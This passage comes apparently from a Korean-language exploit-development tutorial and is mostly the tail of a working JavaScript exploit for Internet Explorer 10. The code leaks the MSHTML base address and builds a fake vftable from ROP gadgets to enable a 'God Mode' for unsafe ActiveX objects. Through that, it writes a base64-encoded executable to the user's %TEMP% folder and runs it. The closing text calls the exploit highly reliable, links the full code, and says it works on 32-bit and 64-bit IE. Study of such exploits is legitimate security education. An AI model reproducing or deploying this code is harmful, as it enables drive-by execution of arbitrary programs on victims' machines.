      leakArray[0x3bf7= obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10- 0x58b9a;
 
    //                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0xf3baf  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0xdc361  | --> "LEAVE | RET 4"
    //          +-------------------+
 
    var old = read(mshtml+0xc555e0+0x14);
 
    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God Mode On!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc555e0+0x14, old);                   // God Mode Off!
 
    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28+ 4+ 0x1f0;       // ptr to ptr to object
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // Create the new vftable.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4= jscript9+0x10705e;
    new_vftable[0x14/4= jscript9+0xdc164;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // ptr to raw buffer of new_vftable
    
    // Create the new object.
    var new_object = new Int32Array(4);
    new_object[0= new_vftptr;
    new_object[1= jscript9 + 0x15f800;
    new_object[2= jscript9 + 0xf3baf;
    new_object[3= jscript9 + 0xdc361;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // ptr to raw buffer of new_object
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }
    
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50+ 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 40x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
//    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>
cs


항상 그랫듯, runcalc를 생략했습니다. 전체 코드는 아래 링크에서 받을 수 있습니다.

  • http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/06/code4.zip

SimpleServer를 이용하여 IE 에서 페이지를 불러오면 모든게 잘 동작할 것 입니다. 이 익스플로잇은 굉장히 신뢰성이 높습니다. 사실 뭔가 잘못되어 IE 에서 충돌이 발생하면 IE는 페이지를 다시 불러올 것 입니다. 유저는 충돌을 확인할 수 있지만 이는 심각한 문제는 아닙니다. 어쨋든 충돌이 발생하는건 극히 드뭅니다



IE 10 32비트와 IE 10 64비트


IE 1032비트와 64비트 버전이 있습니다. 우리의 익스플로잇은 둘다 사용가능한데 그 이유는 주 윈도우에 연관된 iexplore.exe 모듈은 32비트와 64비트에 따라 다른 반면에 탭에 연관된 iexplore.exe 모듈은 모두 32비트 모듈에 연관이 되어 있기 때문입니다. 윈도우즈 작업 관리자를 이용하여 두 실행 경로를 통해 검증해보실 수 있습니다.

댓글